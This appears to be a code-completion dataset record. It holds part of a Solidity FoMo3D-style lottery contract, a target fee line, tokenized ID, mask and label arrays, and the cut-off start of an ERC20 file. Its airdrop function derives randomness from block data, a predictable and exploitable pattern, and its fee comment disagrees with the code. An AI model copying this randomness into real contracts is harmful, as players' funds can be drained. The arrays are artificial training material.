_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, HXdatasets.EventReturns memory _eventData_)
private
returns(HXdatasets.EventReturns)
{
// pay 2% out to community rewards
uint256 _com = _eth / 50;
uint256 _p3d;
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
token_community_addr.transfer(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
// distribute share to affiliate
uint256 _aff = _eth / 10;
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit HXevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
community_addr.transfer(_com);
return(_eventData_);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, HXdatasets.EventReturns memory _eventData_)
private
returns(HXdatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
// toss 2% into airdrop pot
uint256 _air = (_eth / 50);
airDropPot_ = airDropPot_.add(_air);
// update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share))
_eth = _eth.sub(((_eth.mul(24)) / 100));
// calculate pot
uint256 _pot = _eth.sub(_gen);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
/* MASKING NOTES
earnings masks are a tricky thing for people to wrap their minds around.
the basic thing to understand here. is were going to have a global
tracker based on profit per share for each round, that increases in
relevant proportion to the increase in share supply.
the player will have an additional mask that basically says "based
on the rounds mask, my shares, and how much i've already withdrawn,
how much is still owed to me?"
*/
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID, plyr_[_pID].lrnd);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, HXdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit HXevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = false;
function activate()
public
{
// only team just can activate
require(
msg.sender == developer_addr, "only community can activate"
);
// can only be ran once
require(activated_ == false, "shuoha already activated");
// activate the contract
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
//==============================================================================
// __|_ _ __|_ _ .
// _\ | | |_|(_ | _\ .
//==============================================================================
library HXdatasets {
//compressedData key
// [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0]
// 0 - new player (bool)
// 1 - joined round (bool)
// 2 - new leader (bool)
// 3-5 - air drop tracker (uint 0-999)
// 6-16 - round end time
// 17 - winnerTeam
// 18 - 28 timestamp
// 29 - team
// 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico)
// 31 - airdrop happened bool
// 32 - airdrop tier
// 33 - airdrop amount won
//compressedIDs key
// [77-52][51-26][25-0]
// 0-25 - pID
// 26-51 - winPID
// 52-77 - rID
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr; // winner address
bytes32 winnerName; // winner name
uint256 amountWon; // amount won
uint256 newPot; // amount in new pot
uint256 P3DAmount; // amount distributed to p3d
uint256 genAmount; // amount distributed to gen
uint256 potAmount; // amount added to pot
}
struct Player {
address addr; // player address
bytes32 name; // player name
uint256 win; // winnings vault
uint256 gen; // general vault
uint256 aff; // affiliate vault
uint256 lrnd; // last round played
uint256 laff; // last affiliate id used
}
struct PlayerRounds {
uint256 eth; // eth player has added to round (used for eth limiter)
uint256 keys; // keys
uint256 mask; // player mask
uint256 ico; // ICO phase investment
}
struct Round {
uint256 plyr; // pID of player in lead
uint256 team; // tID of team in lead
uint256 end; // time ends/ended
bool ended; // has round end function been ran
uint256 strt; // time round started
uint256 keys; // keys
uint256 eth; // total eth in
uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends)
uint256 mask; // global mask
uint256 ico; // total eth sent in during ICO phase
uint256 icoGen; // total eth for gen during ICO phase
uint256 icoAvg; // average key price for ICO phase
}
struct TeamFee {
uint256 gen; // % of buy in thats paid to key holders of current round
uint256 p3d; // % of buy in thats paid to p3d holders
}
struct PotSplit {
uint256 gen; // % of pot thats paid to key holders of current round
uint256 p3d; // % of pot thats paid to p3d holders
}
}
//==============================================================================
// | _ _ _ | _ .
// |<(/_\/ (_(_||(_ .
//=======/======================================================================
library HXKeysCalcLong {
using SafeMath for *;
/**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(156250000000000000000000000)).add(1406247070314025878906250000000000000000000000000000000000000000)).sqrt()).sub(37499960937500000000000000000000)) / (78125000);
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((39062500).mul(_keys.sq()).add(((74999921875000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
//==============================================================================
// . _ _|_ _ _ |` _ _ _ _ .
// || | | (/_| ~|~(_|(_(/__\ .
//==============================================================================
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
|
46% to pot, 20% to aff, 2% to com, 2% to air drop pot
|
fees_[0] = HXdatasets.TeamFee(30,6);
| 88,404 |
[
1,
4625,
348,
7953,
560,
30,
17077,
9,
358,
5974,
16,
4200,
9,
358,
7103,
16,
576,
9,
358,
532,
16,
576,
9,
358,
23350,
3640,
5974,
203,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
1656,
281,
67,
63,
20,
65,
273,
670,
60,
21125,
18,
8689,
14667,
12,
5082,
16,
26,
1769,
565,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
